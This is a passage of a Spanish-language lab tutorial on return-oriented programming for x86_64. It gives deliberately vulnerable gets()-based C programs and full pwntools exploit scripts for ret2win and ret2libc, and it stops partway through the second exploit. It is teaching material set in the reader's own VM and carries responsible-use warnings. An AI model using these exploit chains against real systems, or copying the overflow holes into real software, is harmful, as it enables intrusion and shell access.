

ROP Resuelto paso a paso (x86_64)

De controlar RIP a programar con la pila: gadgets, trampolines y la trampa de alineación de movaps, resueltos en cuatro ejercicios B1–B4 que van de ret2win a una shell real con ret2libc sobre NX activo.

Serie de laboratorio · 4 partes

Ejercicios B1–B4 verificados con pwntools en x86_64 nativo (AMD)

Índice

Requisitos previos (checklist del entorno)	1
Cap. 1. Qué es ROP (teoría)	2
Parte B. ROP resuelto (B1–B4)	6
B1 — ret2win 64-bit y la trampa movaps	6
B2 — ret2libc con base de libc via ldd	11
B3 — ret2win con argumento (pop rdi)	15
B4 — Cadena multi-gadget (pop rdi + pop rsi)	19
Apéndice. Chuleta ROP y siguientes pasos	25

Requisitos previos: verifica tu entorno de la Parte 1

Esta Parte 2 hereda TODO el entorno que montaste en la Parte 1: no repetiremos instalaciones ni explicaremos de nuevo las banderas de compilación. Antes de escribir tu primera cadena ROP, dedica cinco minutos a esta lista de comprobación; si alguno de los cuatro puntos falla, vuelve a la Parte 1, capítulo 2, corrige el entorno y regresa. Avanzar con la base coja convierte cada ejercicio en dos problemas: el exploit y el entorno, y solo el primero es interesante.

Comprobación	Comando	Resultado esperado
GDB carga GEF	<code>gdb -q ./bl_ret2win</code>	Banner de GEF y prompt <code>gef></code>
pwntools responde	<code>python3 -c "import pwn; print(pwn.__version__)"</code>	Versión 4.x impresa sin errores
checksec funciona	<code>pwn checksec ./bl_ret2win</code>	Tabla con NX, PIE, RELRO y canary
ASLR se puede desactivar	<code>setarch \$(uname -m) -R true && echo OK</code>	Imprime OK (personalidad aplicada)
Carpeta del laboratorio	<code>ls ~/rop-lab</code>	Existen 00-fundamentos y 01-resueltos

Tabla 1. Checklist de cinco minutos: herencia directa de la Parte 1.

Si también quieres mantener al día las herramientas de gadgets, comprueba que `ROPgadget --version` imprime versión: fue instalación opcional en la Parte 1 y hoy se vuelve obligatoria. En esta parte usaremos sobre todo la API `ROP(elf)` de pwntools para buscar gadgets desde Python, y `ROPgadget` para el trabajo manual de la chuleta del apéndice; `Ropper` cumple el mismo papel y queda como alternativa documentada.

RECORDATORIO DE USO RESPONSABLE

Todo lo que harás hoy aplica a binarios que TÚ compilas en TU máquina virtual Kali, aislada y de tu propiedad. El desbordamiento y las cadenas ROP son técnicas de explotación reales: usarlas contra sistemas de terceros sin autorización explícita es ilegal en México (código penal federal, delitos informáticos) y en prácticamente cualquier jurisdicción, además de contrario al propósito de este laboratorio. La regla de la serie no cambia: ataca solo tus propios binarios, en tu propia VM, con `flag.txt` que tú mismo creas.

Con el entorno confirmado, crea la carpeta de trabajo de esta parte dentro de tu laboratorio: `~/rop-lab/01-resueltos/parte2`. Copia ahí el contenido del ZIP que acompaña a esta guía (fuentes B1–B4, soluciones y `build.sh`). Cada ejercicio compila su binario a demanda, así que la carpeta queda limpia incluso si la borras por completo y la reconstruyes con `./build.sh`.

Capítulo 1. Qué es ROP: gadgets, cadenas y la caída de NX

En la Parte 1 terminaste con un superpoder incómodo: controlabas RIP, pero solo podías saltar a código que YA existiera. La Parte 1 te dejó dos destinos: funciones del binario (A3) y tu propio shellcode en la pila (A4). Hoy matamos la segunda vía a propósito: NX activo significa que la pila NO es ejecutable, y aun así vas a conseguir una shell. Esa es la promesa de ROP, Return-Oriented Programming: no necesitas inyectar una sola instrucción nueva.

1.1 La definición en tres frases

Un **gadget** es una secuencia corta de instrucciones que ya existe en el binario o en sus bibliotecas —típicamente terminada en `ret`— y que hace algo pequeño y útil: cargar un registro, sumar, escribir memoria. Una **cadena ROP** es una fila de direcciones de gadgets apiladas en el stack de modo que el `ret` de cada gadget consume la dirección siguiente, como si tu dato fuera código. El resultado es que la CPU ejecuta un "programa" escrito con piezas legítimas del propio sistema: tú solo aportaste direcciones, nunca código.

Piensa en la analogía del robo de coches por piezas: no fabricas un coche, tomas piezas genuinas de varios coches del deshuesadero y las ensamblas. Cada pieza es 100% legítima —pasó el control de calidad del fabricante—, pero el vehículo resultante es tuyo y no está en ningún registro. ROP hace lo mismo con instrucciones: cada gadget pertenece a código firmado, cargado y confiable, pero la cadena que componen obedece SOLO al orden que tú escribiste en la pila.

1.2 Anatomía de un gadget

La Figura 1 diseca un gadget byte por byte. Dos ideas se quedan contigo para siempre: primero, los bytes `c3` significan `ret` en x86_64 y son ubicuos —cualquier epílogo de función los contiene—; segundo, los gadgets suelen ser **no intencionales**: viven en medio de otra instrucción, y solo el desensamblado byte a byte los revela. Esa es la razón técnica de que existan miles de gadgets en cualquier binario mediano: el conjunto de bytes del código, leído desde desplazamientos arbitrarios, contiene secuencias que nadie programó.

Anatomía de un gadget ROP

Bytes que ya viven en el binario o en libc: una secuencia útil terminada en ret

Memoria de libc — direcciones altas arriba	
instrucciones de otra función	...7f 3d e5
add rsp, 8 ; pop rbx ; ret	5c 5b c3
5f c3	pop rdi ; ret GADGET
5e c3	pop rsi ; ret GADGET
instrucciones de otra función	...48 89 e5

COMO LO REPORTA ROPgadget	
\$ ROPgadget --binary ./b2_ret2libc \	
--only "pop ret"	
0x000000000401016 : ret	
(opcional: --binary libc.so.6 para mas)	
Atención: ROPgadget separa las instrucciones con " ; " — espacio, punto y coma, espacio. El gadget es pop rdi; ret , no "pop rdi;ret".	

EL MISMO BYTE, DOS SIGNIFICADOS	
bytes:	41 5f c3
@+0:	41 5f pop r15 <- intencion original
@+1:	5f c3 pop rdi; ret <- TU gadget
Los gadgets suelen ser no intencionales : empiezan en medio de otra instrucción. Por eso el buscador "salta" byte a byte buscando secuencias útiles terminadas en c3 (ret).	

LA REGLA DE ORO	
un gadget = bytes utiles + ret (0xc3)	
El ret final no es adorno: es lo que permite ENCADENAR. Cuando tu gadget termina, ret consume la siguiente direccion apilada: por eso una cadena ROP no es mas que una fila de direcciones bien ordenadas.	

Trampolin: pop rdi; ret se llama "trampolin" porque no calcula nada: solo carga un valor en un registro y salta a la siguiente casilla. En la convencion System V AMD64, los primeros argumentos viajan en RDI, RSI, RDX, RCX, R8 y R9 — con dos trampolines (pop rdi, pop rsi) puedes llamar a casi cualquier funcion de dos argumentos, como haras en B3 y B4.

Figura 1. Anatomía de un gadget: bytes reales de libc, el desensamblado no intencional y el formato exacto de ROPgadget.

1.3 La mecánica: la pila como cola de instrucciones

¿Cómo ejecuta la CPU "tu programa" hecho de direcciones? La Figura 2 lo muestra en cuatro pasos con el payload real de B2. Cuando el **ret** de `victim()` carga tu primera dirección, `$rsp` apunta a la casilla siguiente; el **ret** de cada gadget descarta la casilla consumida y salta a la siguiente. Los gadgets de tipo **pop reg; ret** además "cobran" un valor antes de pasar el turno: lo guardan en el registro. De ahí el apodo de **trampolines**: **pop rdi; ret** no calcula nada, solo te deja caer con elegancia en el registro RDI y en la siguiente dirección.

Mecánica de una cadena ROP: \$rsp come la pila casilla a casilla

payload = 'A'*72 + p64(pop_rdi) + p64(&"/bin/sh") + p64(ret) + p64(system) — el exploit B2

La pila a mitad de la cadena: las casillas 1-2 ya fueron consumidas

frame de víctima() con tus 'A'	direcciones bajas
casilla 1: pop_rdi	ret ya la consumo
casilla 2: &"/bin/sh"	pop la puso en RDI
rsp casilla 3: gadget ret	siguiente en saltar
casilla 4: system	espera su turno
basura / resto del stack	direcciones altas

ESTADO DE LOS REGISTROS EN ESTE PUNTO

RIP = gadget ret (en ejecución ahora)
 RDI = &"/bin/sh" <- 1er argumento listo
 RSP = &casilla4 <- la "cola" sigue avanzando

PASO 1 — el ret de víctima() arranca la cadena

```
ret          ; pop rip ; rsp += 8
RIP <- pop_rdi ; RSP apunta a casilla 2
```

PASO 2 — el gadget consume su valor

```
pop rdi      ; RDI <- [rsp] ; rsp += 8
RDI = &"/bin/sh"
ret          ; RIP <- [rsp] = gadget ret
              ; rsp += 8 -> casilla 3
```

PASO 3 — ret de alineación (lección de B1)

```
ret          ; solo salta a lo siguiente
RIP <- system ; rsp apunta a casilla 5
              ; y la pila queda ALINEADA a 16
```

PASO 4 — system("/bin/sh") toma el control

```
system ejecuta /bin/sh -c ...
hereda tu stdin/stdout: SHELL INTERACTIVA
```

La analogía de la cola: imagina la pila como una fila de boletos y a \$rsp como el despachador: cada ret llama al siguiente número y avanza una casilla. Los gadgets de tipo pop "cobran" su boleto (lo guardan en un registro) antes de pasar el turno. Toda tu cadena es una ÚNICA entrada: gets() la apilo una vez y la CPU la consume sola, sin más intervención tuya.

Figura 2. Mecánica de la cadena: \$rsp avanza casilla a casilla y cada ret pasa el turno; el trampolín carga RDI en el camino.

1.4 Por qué ROP vence a NX/DEP

NX (No eXecute) y su equivalente en Windows, DEP, marcan las páginas de datos —pila y heap— como no ejecutables: puedes escribir allí todo lo que quieras, pero la CPU se niega a ejecutarlo. El shellcode de A4 moría sin `-z execstack` precisamente por esto. ROP esquiva la barrera sin derribarla: no inyecta código, ejecuta código que ya era legítimo y vivía en regiones ejecutables (.text del binario y de sus bibliotecas). La única "instrucción" que el atacante aporta es una dirección de retorno sobrescrita; todo lo demás son piezas existentes ordenadas en la pila.

Es útil verbalizarlo con precisión de examen: NX distingue entre **datos ejecutados** —prohibido— y **datos que redirigen el control** —permitido, desgraciadamente, porque así funcionan los retornos de función—. ROP abusa exactamente del segundo hueco: tus direcciones son datos, pero cada una se consume como dirección de retorno. Las defensas modernas que atacan este hueco —CFI, shadow stacks, XOM— existen porque Shacham demostró que el hueco, sin ellas, es Turing-completo.

1.5 La conexión histórica y tu proyecto de investigación

El nombre lo acuñó Hovav Shacham en 2007 con la conferencia "The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)". Su tesis central: el repertorio CISC de x86 —instrucciones de longitud variable, prefijos, densidad de opcodes— hace que en un binario grande existan gadgets suficientes para computar **cualquier** función, sin ejecutar jamás una instrucción de salto distinta de ret. Demostró gadgets no intencionales y Turing-completitud sobre binarios reales, y esa geometría —carne inocente sobre el hueso— es la que ROPgadget y Ropper rebanan con `--only "pop|ret"` como cuchillo.

Tu proyecto, "LLM-Assisted ROP Chain Synthesis", se planta exactamente en la siguiente línea evolutiva. La Parte 2 te enseña el problema que un LLM debe resolver en automático: dada una lista de gadgets —miles, con restricciones de registros, bad bytes y alineación—, encontrar una secuencia que cumpla un objetivo semántico ("llamar a system con rdi="/bin/sh"). Es un problema de búsqueda combinatoria con gramática estricta donde los LLM aportan dos cosas: priorizar gadgets y objetivos plausibles, y encadenar estados intermedios (qué registro queda sucio, qué casilla consume quién) sin perder la cuenta. Cada ejercicio B de hoy es un caso de prueba que podrás reproducir contra tu propio asistente en la Parte 4.

1.6 Autoevaluación del capítulo

Responde sin mirar las respuestas; si alguna se resiste, la sección correspondiente del capítulo tiene la palabra clave en negritas. Estas cuatro preguntas resumen el vocabulario mínimo para no perderte en la Parte B.

1. ¿Qué tres propiedades comparten TODOS los gadgets ROP y qué byte las hace encadenables?
2. En la convención System V AMD64, ¿qué registro recibe el primer argumento y qué gadget mínimo necesitas para prepararlo?
3. NX bloquea la ejecución de la pila: explica en una frase por qué una cadena ROP no le tiene miedo.
4. Tu payload salta a win() y el proceso muere dentro de printf con SIGSEGV: ¿qué instrucción sospechas y qué le faltó a tu cadena?

RESPUESTAS

(1) Secuencia corta de instrucciones YA presentes en código ejecutable, terminada en ret y consumible apilando direcciones; el byte c3 (ret) encadena. (2) RDI; el trampolín pop rdi; ret carga el valor y salta. (3) Porque no ejecuta datos: reutiliza instrucciones legítimas de .text/libc y solo apila direcciones de retorno. (4) movaps con \$rsp desalineado; faltó el gadget ret de alineación (Figura 3 y B1).

Parte B. ROP resuelto paso a paso: ejercicios B1–B4

Cuatro ejercicios, una escalera: llamar a una función sin argumentos (B1), conseguir una shell real reutilizando `libc` (B2), pasar un argumento con un trampolín (B3) y encadenar gadgets y funciones en una sola entrada (B4). Cada ejercicio conserva el formato de diez apartados que ya conoces de la Parte A: (a) objetivo, (b) conceptos nuevos, (c) código C completo, (d) compilación exacta, (e) recon con `pwn checksec`, (f) plan razonado, (g) pasos numerados, (h) exploit `pwntools` completo comentado, (i) salida esperada y (j) lo que acabas de aprender. Todos los exploits son 100% dinámicos: símbolos con `elf.symbols[...]`, gadgets con `ROP(elf)` y la base de `libc` leída con `ldd` en tiempo de ejecución; las direcciones que veas impresas en las salidas son ejemplos de esta verificación en `x86_64` y en tu VM serán distintas.

Una convención nueva respecto a la Parte A: los binarios B1–B4 se ejecutan con ASLR desactivada mediante `setarch $(uname -m) -R` en B2, B3 y B4, porque sus cadenas usan gadgets de `libc` y necesitan la base fija que `ldd` revela. B1 no lo necesita —sus direcciones salen del propio binario, y No PIE las fija siempre—, así que verás que su exploit lanza el proceso directo. Esta disciplina de "cada técnica con su preparación exacta" es la que distingue a un explotador metódico de uno que copia payloads.

B1 — `ret2win` 64-bit: salta a `win()` y sobrevive a `movaps`

(a) Objetivo

Desbordar el buffer de `victim()` para que su `ret` salte a `win()`, una función que existe en el binario pero que nadie llama, y leer la flag de `flag.txt`. El reto escondido —y la razón de que B1 abra la serie— es la **trampa de alineación**: el salto ingenuo a `win()` provoca un SIGSEGV dentro de `printf` por la instrucción `movaps`, que exige pila alineada a 16 bytes. Vas a reproducir el crash, entenderlo con la Figura 3 y resolverlo con el gadget más humilde del mundo: un `ret` solitario.

(b) Conceptos nuevos

- `ret2win`: la técnica madre — sobrescribir el retorno con la dirección de una función "ganadora" ya presente en el binario.
- Alineación de pila en `x86_64`: la ABI garantiza a cada función entrar con `$rsp` alineado a 16 bytes; un salto por `ret` descuadra la cuenta en 8.
- `movaps`: la instrucción SSE que delata el desalineo; crash dentro de `printf/puts` aunque tu payload fuera "correcto".
- El gadget `ret "suelto"`: no hace nada útil, solo consume 8 bytes y re-alinea; lo buscarás con `ROP(elf).find_gadget`.

(c) Código C completo

B1_RET2WIN.C

```
/* B1 - ret2win 64-bit: sobrescribe el retorno con la direccion de win().
 * Serie: Laboratorio de Practicas ROP - Parte 2 (x86_64, Kali Linux)
 * Compilacion: gcc -g -O0 -fno-stack-protector -no-pie -o b1_ret2win b1_ret2win.c
 * USO RESPONSABLE: binario de practica para tu VM Kali aislada. Solo
 * ataques a binarios propios en tu laboratorio; atacar terceros es ilegal.
 *
 * win() imprime flag.txt. Nunca es llamada desde main: solo es alcanzable
```

```

* si TU rediriges el flujo con la direccion de retorno sobrescrita.
* ADVERTENCIA (trampa de alineacion): saltar a win() sin ajustar la pila
* la deja desalineada en 8 bytes y printf puede morir en movaps. El
* exploit B1 demuestra el crash y luego lo corrige con un gadget ret. */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

extern char *gets(char *s); /* prototipo manual (gcc moderno no la declara) */

void win(void)
{
    char linea[64];
    FILE *f = fopen("flag.txt", "r");
    if (!f) {
        printf("[win] flag.txt no encontrado en el directorio actual\n");
        return;
    }
    if (fgets(linea, sizeof linea, f))
        printf("[win] FLAG: %s", linea);
    fclose(f);
}

void victima(void)
{
    char buffer[64]; /* 64 bytes legales; lo que pase de ahi es overflow */

    printf("[B1] victima() en ejecucion; buffer en %p\n", (void *)buffer);
    fflush(stdout); /* orden determinista con entrada por pipe */
    /* VULNERABLE: 72 'A' llenan buffer + RBP guardado; lo que sigue
    * aplasta la direccion de retorno que ret consumira al volver. */
    if (gets(buffer) == NULL) {
        fprintf(stderr, "[B1] EOF recibido.\n");
        exit(1);
    }
    printf("[B1] escribiste: %s\n", buffer);
    return; /* <- aqui salta a donde TU escribas en la pila */
}

int main(void)
{
    setvbuf(stdout, NULL, _IONBF, 0); /* sin buffering: util para pipes */
    printf("[B1] PID=%d | win() esta en el binario pero nadie la llama\n",
        getpid());
    victima();
    printf("[B1] retorno LIMPIO: si lees esto, no hubo overflow.\n");
    return 0;
}

```

(d) Compilación exacta

```

$ gcc -g -O0 -fno-stack-protector -no-pie -o b1_ret2win b1_ret2win.c
# warning del enlazador esperado:
# warning: the `gets' function is dangerous and should not be used.

```

(e) Recon con pwn checksec

```

$ pwn checksec ./b1_ret2win
[*] './b1_ret2win'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found

```

```

NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
Debuginfo: Yes

```

Lectura del recon: **No canary** deja pasar el desbordamiento vivo hasta el retorno; **No PIE** fija win() en una dirección constante que elf.symbols['win'] leerá por ti; y **NX enabled** es, a partir de hoy, información de diseño y no una amenaza: ret2win no ejecuta la pila, solo redirige el flujo a código legítimo. Fíjate que compilamos SIN -z execstack: no lo necesitamos, y ese es exactamente el punto pedagógico de la serie B.

(f) Plan de ataque razonado

El offset lo heredas del método A2: buffer de 64 bytes más RBP guardado igual a 72; igual lo re-mediremos con cyclic() para no fiarnos de la memoria. El plan tiene tres fases deliberadas: medir el offset con el patrón cíclico; intentar el salto directo p64(elf.symbols['win']) para CONFIRMAR la trampa —verás la flag imprimirse a medias y morir en SIGSEGV: la firma de movaps—; y repetir con el gadget ret delante, que consume 8 bytes y devuelve a \$rsp la alineación que la ABI exige. Consulta la Figura 3 mientras ejecutas: cada fase del exploit corresponde a una columna del diagrama.

La trampa de alineación: por que win() muere en movaps

x86_64 exige pila alineada a 16 bytes ANTES de cada call; el ret de un overflow altera esa cuenta

SIN gadget ret — crash en movaps

```

payload: 'A'*72 + p64(win)

victima: ret      ; rsp += 8
salto a win:  rsp mod 16 = 0  <- MAL

push rbp      ; rsp mod 16 = 8
call printf...
movaps [rsp+X], xmm0
^^ requiere rsp mod 16 = 0
^^ ESTA EN 8 -> #GP -> SIGSEGV

```

Sintoma win() empieza a imprimir la flag, muere a media impresion y el proceso termina en SIGSEGV. En GDB veras el fallo dentro de printf/puts, en un movaps.

CON gadget ret — flag completa

```

payload: 'A'*72 + p64(ret) + p64(win)

victima: ret      ; rsp += 8
gadget ret: ret    ; rsp += 8  <- el "colchon"
salto a win:  rsp mod 16 = 8  <- OK

push rbp      ; rsp mod 16 = 0
call printf...
movaps [rsp+X], xmm0  <- ALINEADO

```

Solucion un **ret suelto** (cualquier byte c3 del binario) consume 8 bytes extra y re-alinea la pila. No ejecuta nada util: SOLO ajusta \$rsp. Es el boleto "de cortesía" de la cadena.

LA CUENTA COMPLETA — por que el ret "de cortesía" funciona

ABI x86_64: al ENTRAR a una funcion, rsp mod 16 == 8 (el call apilo 8 bytes)

```

tras push rbp, rsp mod 16 == 0 -> movaps feliz

```

llamada normal: call win -> win ve rsp mod 16 = 8 ...OK

salto por ret: ret -> win ve rsp mod 16 = 0 ...DESAJUSTADO (8 de menos)

retoque: [ret][win] -> el ret extra consume 8 ...de vuelta a 8 OK

Regla practica para tus cadenas: cuenta casillas de 8 bytes desde el ret de victima(). Si la funcion destino te queda "al otro lado de la alineacion", inserta un gadget ret. Lo aplicaras en B1 (solucion), B2 (antes de system), B3 y B4 (antes de cada funcion).

Figura 3. La trampa de alineación: sin el ret extra, win() entra con \$rsp desalineado y printf muere en movaps; con el ret, flag completa.

(g) Pasos numerados con comandos

1. Compila y lee el checksec (apartados d y e). Confirma No canary y No PIE.
2. Crea la flag de práctica junto al binario: echo "flag{ROP_B1_ret2win_alineado}" > flag.txt. (El exploit la crea sola si falta.)

3. Mide el offset como en A2: `cyclic(200)`, estalla, y en `GEF pattern search $rsp` te muestra qué fragmento del patrón llegó a `$rsp`.
4. Prueba ingenua manual: `python3 -c "print('A'*72);" | ./b1_ret2win` y observa el crash a media flag: es la trampa, no un error tuyo.
5. Localiza el gadget de alineación: `ROPgadget --binary ./b1_ret2win --only "ret"`.
6. Ejecuta la solución completa: `python3 b1_ret2win.py`.

(h) Exploit pwntools completo, comentado

B1_RET2WIN.PY

```
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""B1 - ret2win 64-bit: RIP = p64(elf.symbols['win']).
FASE 1: offset con patron ciclico (metodo A2 de la Parte 1).
FASE 2: la trampa clasica - saltar a win() SIN alinear la pila
(crash en movaps dentro de printf, con flag a medias).
FASE 3: solucion - gadget 'ret' extra delante de win().
TODO dinamico: simbolos y gadgets del ELF, nada hardcodeado.
US0: python3 b1_ret2win.py"""
from pwn import *
import os

context.arch = 'amd64'
context.log_level = 'info'

BIN = './b1_ret2win'
FLAG_DEMO = 'flag{ROP_B1_ret2win_alineado}'

compile_cmd = ['gcc', '-g', '-O0', '-fno-stack-protector', '-no-pie',
               '-o', BIN, 'b1_ret2win.c']
log.info('Compilando: %s', ' '.join(compile_cmd))
process(compile_cmd).wait()

# flag.txt de practica: solo si no existe (no pisa la tuya)
if not os.path.exists('flag.txt'):
    with open('flag.txt', 'w') as f:
        f.write(FLAG_DEMO + '\n')
    log.info('flag.txt de practica creado')

elf = ELF(BIN, checksec=False) # simbolos dinamicos: nada hardcodeado
win = elf.symbols['win']
log.info("win() vive en %#x (ejemplo de ESTA compilacion; la tuya sera distinta)", win)

# -----
# FASE 1 - offset dinamico: patron ciclico + corefile (metodo A2)
# -----
io = process(BIN) # No PIE: las direcciones del binario ya son fijas
io.recvuntil(b'nadie la llama')
io.sendline(cyclic(200))
io.wait()
try:
    core = io.corefile
    offset = cyclic_find(core.read(core.rsp, 4)) # x86_64: leer desde $rsp
except Exception:
    from pwnlib.corefile import Corefile
    core = Corefile('core')
    offset = cyclic_find(core.read(core.rsp, 4))
io.close()
log.info('Offset medido en caliente: %d bytes (buffer 64 + RBP 8)', offset)
```

```
# gadget 'ret' suelto del PROPIO binario (para la alineacion de FASE 3)
ret_gadget = ROP(elf).find_gadget(['ret'])[0]
log.info('Gadget de alineacion: ret @ %#x', ret_gadget)

# -----
# FASE 2 - TRAMPA: payload directo a win() SIN gadget de alineacion
# -----
log.info('FASE 2: intento ingenuo padding + p64(win) sin ret extra...')
io = process(BIN)
io.recvuntil(b'nadie la llama')
io.sendline(b'A' * offset + p64(win))
salida = io.recvall(timeout=3)
io.wait()
crash_trampa = (io.poll() == -signal.SIGSEGV)
if crash_trampa:
    log.warning('TRAMPA CONFIRMADA: SIGSEGV dentro de win()/printf '
                '(movaps exige pila alineada a 16). Flag parcial: %r',
                salida[salida.find(b'FLAG'):salida.find(b'FLAG') + 24])
    elif FLAG_DEMO.encode() in salida:
        log.info('Tu glibc no choca con movaps en esta ruta; el ret extra '
                 'sigue siendo la practica correcta.')
    io.close()

# -----
# FASE 3 - SOLUCION: un gadget 'ret' extra re-alinea la pila
# payload = 'A'*offset + p64(ret) + p64(win)
# -----
io = process(BIN)
io.recvuntil(b'nadie la llama')
payload = b'A' * offset + p64(ret_gadget) + p64(win)
assert b'\n' not in payload, 'gets() cortaria el payload en el primer 0x0a'
io.sendline(payload)
salida = io.recvall(timeout=3)
io.close()

if FLAG_DEMO.encode() in salida:
    log.success('B1 SUPERADO: ret consumo el gadget ret y salto a win(); '
               'pila alineada, flag completa en pantalla.')
else:
    log.failure('B1: sin flag. Pistas: offset, pwn checksec (No PIE, '
               'sin canary) y que flag.txt exista junto al binario.')
```

(i) Salida esperada

SALIDA ESPERADA — B1 (VERIFICADA EN x86_64)

```
[*] Offset medido en caliente: 72 bytes (buffer 64 + RBP 8)
[*] Gadget de alineacion: ret @ 0x401016
[*] FASE 2: intento ingenuo padding + p64(win) sin ret extra...
[!] TRAMPA CONFIRMADA: SIGSEGV dentro de win()/printf (movaps
exige pila alineada a 16). Flag parcial: b'FLAG: flag{ROP_B1_ret2wi'
[+] B1 SUPERADO: ret consumo el gadget ret y salto a win();
pila alineada, flag completa en pantalla.
```

Dos señales conviven en esa salida: la flag impresa a medias en FASE 2 prueba que el salto SÍ aterrizó en win() —el control de flujo funcionó— y el SIGSEGV posterior prueba que el EPÍLOGO de la llamada falló por alineación. En tu máquina el gadget tendrá otra dirección: es la tuya, y el exploit la encontró sola con `ROP(elf).find_gadget(['ret'])`.

(j) Qué acabas de aprender

- `ret2win` puro: una dirección bien colocada vale más que cien bytes de shellcode.
- A diagnosticar un crash "correcto": si `win()` imprime y muere, no es el offset, es `movaps`.
- El gadget `ret` es una herramienta, no un accidente: re-alinea cualquier función de tu cadena.
- A desconfiar del éxito a medias: en explotación, un crash DESPUÉS del salto también es información.

B2 — `ret2libc` con ASLR fuera: shell real con `system("/bin/sh")`

(a) Objetivo

Conseguir una shell interactiva en un binario con NX activo, sin inyectar una sola instrucción: encadenar `pop rdi; ret + &"/bin/sh" + system`, con las tres piezas viviendo dentro de `libc`. La base de `libc` se leerá con `ldd` con ASLR desactivada —el clásico `ret2libc` sin leak— y el gadget de alineación de B1 regresará como pieza obligatoria delante de `system`. Al terminar tendrás un `/bin/sh` respondiendo comandos que tú enviaste a través de una dirección de retorno.

(b) Conceptos nuevos

- `ret2libc`: el abuelo de ROP — llamar a una función de `libc` existente con argumentos preparados en registros.
- Base de `libc` fija: con `setarch -R` (o `randomize_va_space=0` global), `ldd` reporta la dirección de carga EXACTA que tendrá tu proceso.
- El pitfall moderno: tu binario de `gcc 14` NO tiene `pop rdi; ret`; se toma de `libc` con la MISMA base fija.
- `setvbuf(stdin, _IONBF)`: sin buffering en `stdin` para que `gets()` no se "coma" los comandos destinados al shell.

(c) Código C completo

B2_RET2LIBC.C

```
/* B2 - ret2libc con ASLR desactivada: pop rdi; "/bin/sh"; system.
 * Serie: Laboratorio de Practicas ROP - Parte 2 (x86_64, Kali Linux)
 * Compilacion: gcc -g -O0 -fno-stack-protector -no-pie -o b2_ret2libc b2_ret2libc.c
 * USO RESPONSABLE: binario de practica para tu VM Kali aislada. Solo
 * ataques a binarios propios en tu laboratorio; atacar terceros es ilegal.
 *
 * NX esta activo (pila NO ejecutable): ret2shellcode de la Parte 1 aqui
 * no funciona. ROP no inyecta codigo: ejecuta system(), ya presente en
 * libc, con rdi apuntando a "/bin/sh". Con ASLR fuera, la base de libc
 * es fija y se lee con ldd (ver exploit).
 *
 * PITFALL resuelto aqui: setvbuf(stdin, _IONBF) deja sin buffering la
 * entrada; sin el, stdio se "tragaria" los comandos que el shell debe
 * leer despues del exploit (gets se los lleva al bufer del proceso). */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

extern char *gets(char *s); /* prototipo manual (gcc moderno no la declara) */

void victima(void)
{
    char buffer[64]; /* 64 bytes legales; lo que pase de ahi es overflow */
```

```

printf("[B2] victima() en ejecucion; buffer en %p\n", (void *)buffer);
fflush(stdout); /* orden determinista con entrada por pipe */
/* VULNERABLE: el overflow aplasta la direccion de retorno y ret
 * saltara al gadget 'pop rdi; ret' que vive dentro de libc. */
if (gets(buffer) == NULL) {
    fprintf(stderr, "[B2] EOF recibido.\n");
    exit(1);
}
printf("[B2] escribiste: %s\n", buffer);
return; /* <- comienza la cadena ROP aqui */
}

int main(void)
{
    /* SIN buffering en stdin: gets() consume SOLO su linea y los
     * comandos siguientes quedan en la tuberia para /bin/sh. */
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    printf("[B2] PID=%d | NX activo: la pila no ejecuta, pero libc si\n",
        getpid());
    victima();
    printf("[B2] retorno LIMPIO: si lees esto, no hubo exploit.\n");
    return 0;
}

```

Lee el comentario del pitfall en el código: `setvbuf(stdin, NULL, _IONBF, 0)` no es un detalle estético. Si `stdin` queda con buffering, `gets()` copia al buffer interno del proceso TODO lo que encuentre en la tubería —incluidos los comandos que enviarías después— y cuando arranca tu shell ya no hay nada que leer: el shell muere de EOF sin que hayas escrito nada. Es el mismo pitfall de `stdio` documentado en la Parte 1, ahora con consecuencias directas sobre la usabilidad del exploit.

(d) Compilación exacta

```
$ gcc -g -O0 -fno-stack-protector -no-pie -o b2_ret2libc b2_ret2libc.c
```

(e) Recon con pwn checksec

```

$ pwn checksec ./b2_ret2libc
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

```

Idéntico al recon de B1, y eso es exactamente el mensaje: el plan cambia por completo —de `ret2win` a `ret2libc`— aunque las protecciones no se muevan. La elección de técnica la dicta el OBJETIVO (shell vs. función ganadora), no la casilla que cambió en el checksec. NX enabled es el rival declarado de este ejercicio, y lo venceremos con la definición misma de ROP: reutilizar, no inyectar.

(f) Plan de ataque razonado

Tres provisiones antes del payload. Primero, la base de `libc`: con ASLR fuera, `ldd` revela la dirección fija de carga de `libc.so.6` para TU binario; es la misma que verá el proceso lanzado con `setarch -R`, porque ambos desactivan ASLR por la misma vía (personalidad `ADDR_NO_RANDOMIZE`). Segundo, los gadgets: `ROP(libc)` busca `pop rdi; ret` dentro de `libc` —no del binario, que no lo tiene en gcc moderno— y el `ret` de alineación sale del binario con `ROP(elf)`. Tercero, el orden: `[pop_rdi, binsh, ret, system]`, donde el `ret` intermedio re-alinea la pila antes de `system`, tal como dictó la Figura 3. El payload completo apila: relleno de 72, gadget, string, colchón y función.

(g) Pasos numerados con comandos

1. Compila y verifica el checksec (apartados d y e).
2. Lee la base fija de libc: `setarch $(uname -m) -R ldd ./b2_ret2libc`. Anota la dirección entre paréntesis: es la base de TODA la aritmética de este exploit.
3. Confirma que el binario NO trae el gadget: `ROPgadget --binary ./b2_ret2libc --only "pop|ret"` no imprime ningún `pop rdi; ret`. Ese vacío es el pitfall hecho carne y obliga a ir a libc.
4. Encuentra el trampolín en libc: `ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret" | grep "pop rdi ; ret"`.
5. Mide el offset con el patrón cíclico como en A2/B1: saldrá 72, pero remídelo si cambias el buffer.
6. Lanza la solución: `python3 b2_ret2libc.py`. Cuando el shell responda `PWNED_B2`, acabas de ejecutar una cadena ROP completa.

(h) Exploit pwntools completo, comentado**B2_RET2LIBC.PY**

```
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""B2 - ret2libc con ASLR desactivada: shell real con system("/bin/sh").
La base de libc se LEE con ldd (ASLR fuera = base fija), no se adivina.
Los gadgets 'pop rdi; ret' y 'ret' se buscan dinamicamente en libc y en
